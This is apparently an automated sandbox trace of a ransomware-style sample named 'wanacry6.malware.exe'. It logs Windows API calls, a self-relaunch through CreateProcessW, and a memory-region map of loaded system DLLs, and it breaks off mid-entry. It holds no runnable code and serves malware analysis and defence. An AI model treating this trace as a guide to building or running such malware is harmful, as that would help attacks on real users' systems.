NtdllDefWindowProc_W (hWnd=0x7002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0042.187] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.187] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0042.188] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.188] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.188] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0042.201] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0042.201] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.201] GetWindowLongW (hWnd=0x8018c, nIndex=-20) returned 256 [0042.201] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x84, wParam=0x0, lParam=0x1f90320) returned 0x1 [0042.202] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.202] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.202] GetClientRect (in: hWnd=0x8018c, lpRect=0xbf60cff520 | out: lpRect=0xbf60cff520) returned 1 [0042.202] GetCursorPos (in: lpPoint=0xbf60cff540 | out: lpPoint=0xbf60cff540*(x=800, y=505)) returned 1 [0042.202] ScreenToClient (in: hWnd=0x8018c, lpPoint=0xbf60cff540 | out: lpPoint=0xbf60cff540) returned 1 [0042.202] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0042.202] SetCursor (hCursor=0x10003) returned 0x10003 [0042.202] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff870) returned 0 [0042.202] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0042.202] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.202] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x200, wParam=0x0, lParam=0x18301df) returned 0x0 [0042.202] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0042.202] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff870) returned 0 [0042.202] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0042.202] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.202] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x14, wParam=0x1b0106e3, lParam=0x0) returned 0x1 [0042.202] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.202] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.202] GetSysColor (nIndex=15) returned 0xf0f0f0 [0042.202] SetBkColor (hdc=0x1b0106e3, color=0xf0f0f0) returned 0xf0f0f0 [0042.202] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.202] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x318, wParam=0x1b0106e3, lParam=0x4) returned 0x0 [0042.203] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.203] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.203] GetSysColor (nIndex=15) returned 0xf0f0f0 [0042.203] SetBkColor (hdc=0x1b0106e3, color=0xf0f0f0) returned 0xf0f0f0 [0042.203] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.203] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.203] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0042.203] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cff010) returned 0x0 [0042.203] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.203] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.203] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0042.203] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cff010) returned 0x0 [0042.203] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0042.203] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff870) returned 0 [0042.203] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 0 [0042.203] TranslateMessage (lpMsg=0xbf60cff870) returned 0 [0042.203] DispatchMessageW (lpMsg=0xbf60cff870) returned 0x0 [0042.203] Shell_NotifyIconW (dwMessage=0x1, lpData=0xbf60cfeea0) returned 1 [0042.204] KillTimer (hWnd=0x7002c, uIDEvent=0x1) returned 1 [0042.204] SetTimer (hWnd=0x7002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0042.204] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0042.204] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff870) returned 0 [0042.204] TranslateMessage (lpMsg=0xbf60cff870) returned 0 [0042.204] DispatchMessageW (lpMsg=0xbf60cff870) returned 0x0 [0042.204] GetForegroundWindow () returned 0x8018c [0042.204] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.204] GetCursorPos (in: lpPoint=0xbf60cff6d0 | out: lpPoint=0xbf60cff6d0*(x=800, y=505)) returned 1 [0042.204] ScreenToClient (in: hWnd=0x8018c, lpPoint=0xbf60cff6d0 | out: lpPoint=0xbf60cff6d0) returned 1 [0042.204] GetAsyncKeyState (vKey=1) returned 1 [0042.204] GetAsyncKeyState (vKey=2) returned 0 [0042.204] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0042.204] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0042.205] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0042.205] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0042.205] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x1d [0042.205] GetCurrentDirectoryW (in: nBufferLength=0x1d, lpBuffer=0xbf60f46d20 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0042.205] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0xbf60cff490*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xbf60cff420 | out: lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessInformation=0xbf60cff420*(hProcess=0x194, hThread=0x1dc, dwProcessId=0xae0, dwThreadId=0xb08)) returned 1 [0042.211] CloseHandle (hObject=0x1dc) returned 1 [0042.211] CloseHandle (hObject=0x194) returned 1 [0042.211] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0042.211] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0042.211] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0042.211] LockWindowUpdate (hWndLock=0x0) returned 0 [0042.211] DestroyWindow (hWnd=0x7002c) returned 1 [0042.211] NtdllDefWindowProc_W (hWnd=0x7002c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0042.212] KillTimer (hWnd=0x7002c, uIDEvent=0x1) returned 1 [0042.212] Shell_NotifyIconW (dwMessage=0x2, lpData=0xbf60cff240) returned 1 [0042.222] DestroyWindow (hWnd=0x8018c) returned 1 [0042.222] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.222] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0042.222] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.222] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x46, wParam=0x0, lParam=0xbf60cff5b0) returned 0x0 [0042.223] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.223] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x47, wParam=0x0, lParam=0xbf60cff5b0) returned 0x0 [0042.223] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.223] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0042.223] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.223] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.223] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x6, wParam=0x0, lParam=0x0) returned 0x0 [0042.223] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.223] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x1c, wParam=0x0, lParam=0x7c0) returned 0x0 [0042.223] NtdllDefWindowProc_W (hWnd=0x7002c, Msg=0x1c, wParam=0x0, lParam=0x7c0) returned 0x0 [0042.223] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.223] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.223] InvalidateRect (hWnd=0x8018c, lpRect=0x0, bErase=1) returned 1 [0042.223] DestroyAcceleratorTable (hAccel=0x600c5) returned 1 [0042.223] DeleteObject (ho=0x410a06db) returned 1 [0042.223] DestroyWindow (hWnd=0x501ea) returned 1 [0042.223] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.223] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x210, wParam=0x30002, lParam=0x501ea) returned 0x0 [0042.224] DestroyWindow (hWnd=0x8018a) returned 1 [0042.224] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.224] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x210, wParam=0x40002, lParam=0x8018a) returned 0x0 [0042.224] DeleteObject (ho=0xffffffff9a0a0807) returned 1 [0042.224] DestroyWindow (hWnd=0x801e6) returned 1 [0042.224] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.224] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x210, wParam=0x50002, lParam=0x801e6) returned 0x0 [0042.225] DeleteObject (ho=0x6d0a07bf) returned 1 [0042.225] DestroyWindow (hWnd=0x5011c) returned 1 [0042.225] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.225] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x210, wParam=0x60002, lParam=0x5011c) returned 0x0 [0042.231] DeleteObject (ho=0x170a06df) returned 1 [0042.231] DestroyWindow (hWnd=0xb0020) returned 1 [0042.231] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.231] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x210, wParam=0x70002, lParam=0xb0020) returned 0x0 [0042.232] DeleteObject (ho=0x630a05cc) returned 1 [0042.232] DestroyWindow (hWnd=0xc001e) returned 1 [0042.232] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.232] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x210, wParam=0x80002, lParam=0xc001e) returned 0x0 [0042.233] KillTimer (hWnd=0x0, uIDEvent=0x7f77) returned 1 [0042.233] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0042.234] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.234] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0042.234] DeleteObject (ho=0xffffffff971006d5) returned 1 [0042.234] DeleteObject (ho=0xffffffffce1005a0) returned 1 [0042.234] DeleteObject (ho=0x471007ed) returned 1 [0042.235] PostQuitMessage (nExitCode=0) [0042.235] GetMessageW (in: lpMsg=0xbf60cff9c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xbf60cff9c8) returned 0 [0042.240] SetCurrentDirectoryW (lpPathName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 1 [0042.240] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x30d40, fWinIni=0x2 | out: pvParam=0x30d40) returned 1 [0042.251] mciSendStringW (in: lpstrCommand="close all", lpstrReturnString=0x0, uReturnLength=0x0, hwndCallback=0x0 | out: lpstrReturnString=0x0) returned 0x0 [0042.251] OleUninitialize () [0042.252] DestroyCursor (hCursor=0x60207) returned 0 [0042.253] ExitProcess (uExitCode=0x0) Process: id = "25" image_name = "wanacr~1.exe" filename = "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe" page_root = "0x9432000" os_pid = "0xae0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0xa3c" cmd_line = "C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2011 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2012 start_va = 0xa96a8a0000 end_va = 0xa96a8bffff entry_point = 0x0 region_type = private name = "private_0x000000a96a8a0000" filename = "" Region: id = 2013 start_va = 0xa96a8c0000 end_va = 0xa96a8cefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96a8c0000" filename = "" Region: id = 2014 start_va = 0xa96a8d0000 end_va = 0xa96accffff entry_point = 0x0 region_type = private name = "private_0x000000a96a8d0000" filename = "" Region: id = 2015 start_va = 0xa96acd0000 end_va = 0xa96acd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96acd0000" filename = "" Region: id = 2016 start_va = 0xa96ace0000 end_va = 0xa96ace1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96ace0000" filename = "" Region: id = 2017 start_va = 0xa96acf0000 end_va = 0xa96acf1fff entry_point = 0x0 region_type = private name = "private_0x000000a96acf0000" filename = "" Region: id = 2018 start_va = 0x7ff756ab0000 end_va = 0x7ff756ad2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff756ab0000" filename = "" Region: id = 2019 start_va = 0x7ff756adc000 end_va = 0x7ff756addfff entry_point = 0x0 region_type = private name = "private_0x00007ff756adc000" filename = "" Region: id = 2020 start_va = 0x7ff756ade000 end_va = 0x7ff756adefff entry_point = 0x0 region_type = private name = "private_0x00007ff756ade000" filename = "" Region: id = 2021 start_va = 0x7ff756b50000 end_va = 0x7ff756c58fff entry_point = 0x7ff756b7fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe") Region: id = 2022 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2024 start_va = 0xa96ad60000 end_va = 0xa96b15ffff entry_point = 0x0 region_type = private name = "private_0x000000a96ad60000" filename = "" Region: id = 2025 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2026 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2027 start_va = 0xa96a8a0000 end_va = 0xa96a8affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96a8a0000" filename = "" Region: id = 2028 start_va = 0xa96a8b0000 end_va = 0xa96a8b6fff entry_point = 0x0 region_type = private name = "private_0x000000a96a8b0000" filename = "" Region: id = 2029 start_va = 0xa96ad00000 end_va = 0xa96ad06fff entry_point = 0x0 region_type = private name = "private_0x000000a96ad00000" filename = "" Region: id = 2030 start_va = 0xa96ad10000 end_va = 0xa96ad10fff entry_point = 0x0 region_type = private name = "private_0x000000a96ad10000" filename = "" Region: id = 2031 start_va = 0xa96ad20000 end_va = 0xa96ad20fff entry_point = 0x0 region_type = private name = "private_0x000000a96ad20000" filename = "" Region: id = 2032 start_va = 0xa96b160000 end_va = 0xa96b1ddfff entry_point = 0xa96b160000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2033 start_va = 0xa96b260000 end_va = 0xa96b26ffff entry_point = 0x0 region_type = private name = "private_0x000000a96b260000" filename = "" Region: id = 2034 start_va = 0xa96b270000 end_va = 0xa96b3f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96b270000" filename = "" Region: id = 2035 start_va = 0xa96b400000 end_va = 0xa96b580fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96b400000" filename = "" Region: id = 2036 start_va = 0xa96b590000 end_va = 0xa96c98ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96b590000" filename = "" Region: id = 2037 start_va = 0x7ff7569b0000 end_va = 0x7ff756aaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7569b0000" filename = "" Region: id = 2038 start_va = 0x7ffe21e80000 end_va = 0x7ffe21e89fff entry_point = 0x7ffe21e810c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2039 start_va = 0x7ffe22ac0000 end_va = 0x7ffe22ae9fff entry_point = 0x7ffe22aca768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 2040 start_va = 0x7ffe22af0000 end_va = 0x7ffe22b0efff entry_point = 0x7ffe22af23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 2041 start_va = 0x7ffe24b90000 end_va = 0x7ffe24baafff entry_point = 0x7ffe24b91050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 2042 start_va = 0x7ffe24bb0000 end_va = 0x7ffe24e57fff entry_point = 0x7ffe24bbddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2043 start_va = 0x7ffe24e60000 end_va = 0x7ffe2509ffff entry_point = 0x7ffe24e613f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2044 start_va = 0x7ffe25c20000 end_va = 0x7ffe25c29fff entry_point = 0x7ffe25c210c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2045 start_va = 0x7ffe25c90000 end_va = 0x7ffe25c98fff entry_point = 0x7ffe25c91080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 2046 start_va = 0x7ffe25f10000 end_va = 0x7ffe25f38fff entry_point = 0x7ffe25f17968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2047 start_va = 0x7ffe280b0000 end_va = 0x7ffe28309fff entry_point = 0x7ffe280b4740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 2048 start_va = 0x7ffe28760000 end_va = 0x7ffe28800fff entry_point = 0x7ffe287610a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 2049 start_va = 0x7ffe28ba0000 end_va = 0x7ffe28cc1fff entry_point = 0x7ffe28bab444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2050 start_va = 0x7ffe28d20000 end_va = 0x7ffe28d45fff entry_point = 0x7ffe28d2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2051 start_va = 0x7ffe29460000 end_va = 0x7ffe2947efff entry_point = 0x7ffe294612f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2052 start_va = 0x7ffe29ea0000 end_va = 0x7ffe29eb3fff entry_point = 0x7ffe29ea3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2053 start_va = 0x7ffe2a360000 end_va = 0x7ffe2a3a9fff entry_point = 0x7ffe2a361258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2054 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2055 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a532500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2056 start_va = 0x7ffe2a590000 end_va = 0x7ffe2a634fff entry_point = 0x7ffe2a591010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2057 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2058 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2059 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2060 start_va = 0x7ffe2aab0000 end_va = 0x7ffe2bebefff entry_point = 0x7ffe2aab1100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2061 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2062 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2063 start_va = 0x7ffe2c210000 end_va = 0x7ffe2c385fff entry_point = 0x7ffe2c2110b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2064 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c391010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2065 start_va = 0x7ffe2c4d0000 end_va = 0x7ffe2c527fff entry_point = 0x7ffe2c4d109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2066 start_va = 0x7ffe2c710000 end_va = 0x7ffe2c7a9fff entry_point = 0x7ffe2c7111a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 2067 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2068 start_va = 0x7ffe2caa0000 end_va = 0x7ffe2caa6fff entry_point = 0x7ffe2caa1010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 2069 start_va = 0x7ffe2cab0000 end_va = 0x7ffe2cab8fff entry_point = 0x7ffe2cab1400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2070 start_va = 0x7ffe2cac0000 end_va = 0x7ffe2cb10fff entry_point = 0x7ffe2cac12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2071 start_va = 0xa96ad40000 end_va = 0xa96ad41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96ad40000" filename = "" Region: id = 2072 start_va = 0xa96cb00000 end_va = 0xa96cb0ffff entry_point = 0x0 region_type = private name = "private_0x000000a96cb00000" filename = "" Region: id = 2073 start_va = 0xa96c990000 end_va = 0xa96ca49fff entry_point = 0xa96c9bc768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2074 start_va = 0x7ffe28d70000 end_va = 